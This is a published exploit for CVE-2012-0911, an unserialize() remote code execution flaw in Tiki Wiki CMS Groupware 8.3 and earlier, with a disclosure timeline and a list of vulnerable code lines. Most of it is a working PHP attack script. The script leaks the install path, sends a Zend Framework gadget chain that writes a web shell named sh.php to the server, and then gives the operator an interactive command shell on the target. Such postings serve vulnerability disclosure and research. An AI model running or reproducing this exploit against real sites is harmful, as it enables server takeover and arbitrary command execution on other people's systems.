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Tiki Wiki CMS Groupware 8.3 Code Execution

Tiki Wiki CMS Groupware 8.3 Code Execution
Posted Jul 4, 2012
Authored by EgiX

Tiki Wiki CMS Groupware versions 8.3 and below suffer from an unserialize() PHP code execution vulnerability.

tags | exploit, php, code execution
advisories | CVE-2012-0911
SHA-256 | 1131c8a6485c082585a271f33d7953e4f5c4c0779bc61c2352ed14fa8c3a700a

Tiki Wiki CMS Groupware 8.3 Code Execution

Change Mirror Download
<?php

/*
-----------------------------------------------------------------
Tiki Wiki CMS Groupware <= 8.3 "unserialize()" PHP Code Execution
-----------------------------------------------------------------

author...........: Egidio Romano aka EgiX
mail.............: n0b0d13s[at]gmail[dot]com
software link....: http://info.tiki.org/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerable code in different locations:

lib/banners/bannerlib.php:28: $views = unserialize($_COOKIE[$cookieName]);
lib/banners/bannerlib.php:136: $views = unserialize($_COOKIE[$cookieName]);
tiki-print_multi_pages.php:19: $printpages = unserialize(urldecode($_REQUEST['printpages']));
tiki-print_multi_pages.php:24: $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
tiki-print_pages.php:31: $printpages = unserialize(urldecode($_REQUEST["printpages"]));
tiki-print_pages.php:32: $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
tiki-send_objects.php:42: $sendpages = unserialize(urldecode($_REQUEST['sendpages']));
tiki-send_objects.php:48: $sendstructures = unserialize(urldecode($_REQUEST['sendstructures']));
tiki-send_objects.php:54: $sendarticles = unserialize(urldecode($_REQUEST['sendarticles']));

The vulnerability is caused due to all these scripts using "unserialize()" with user controlled input.
This can lead to execution of arbitrary PHP code passing an ad-hoc Zend Framework serialized object.

[-] Full path disclosure at:

http://[host]/[path]/admin/include_calendar.php
http://[host]/[path]/tiki-rss_error.php
http://[host]/[path]/tiki-watershed_service.php

[-] Disclosure timeline:

[11/01/2012] - Vulnerability discovered
[14/01/2012] - Issue reported to security(at)tikiwiki.org
[14/01/2012] - New ticket opened: http://dev.tiki.org/item4109
[23/01/2012] - CVE number requested
[23/01/2012] - Assigned CVE-2012-0911
[01/05/2012] - Version 8.4 released: http://info.tiki.org/article191-Tiki-Releases-8-4
[04/07/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}

function get_path()
{
global $host, $path;

$packet = "GET {$path}tiki-rss_error.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

if (!preg_match('/in <b>(.*)tiki-rss/', http_send($host, $packet), $m)) die("\n[-] Path not found!\n");
return $m[1];
}


print "\n+----------------------------------------------------------------------+";
print "\n| Tiki Wiki CMS Groupware <= 8.3 Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /tiki/\n";
die();
}

list($host, $path) = array($argv[1], $argv[2]);

$f_path = get_path();
print "\n[-] Path disclosure: {$f_path}\n";

class Zend_Search_Lucene_Index_FieldInfo
{
public $name = '<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?>';
}

class Zend_Search_Lucene_Storage_Directory_Filesystem
{
protected $_dirPath = null;

public function __construct($path)
{
$this->_dirPath = $path;
}
}

interface Zend_Pdf_ElementFactory_Interface {}

class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface
{
protected $_docCount = 1;
protected $_name = 'foo';
protected $_directory;
protected $_fields;
protected $_files;

public function __construct($directory, $fields)
{
$this->_directory = $directory;
$this->_fields = array($fields);
$this->_files = new stdClass;
}
}

class Zend_Pdf_ElementFactory_Proxy
{
private $_factory;

public function __construct(Zend_Pdf_ElementFactory_Interface $factory)
{
$this->_factory = $factory;
}
}

// http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
$directory = new Zend_Search_Lucene_Storage_Directory_Filesystem($f_path."sh.php\0");
$__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo);
$____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory);

$payload = urlencode(serialize($____proxy));
$payload = str_replace('%00', '%2500', $payload);
$payload = "printpages={$payload}";

$packet = "POST {$path}tiki-print_multi_pages.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (preg_match('/multiprint/', http_send($host, $packet))) die("[-] Multi-print feature disabled!\n");

$packet = "GET {$path}sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\ntiki-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

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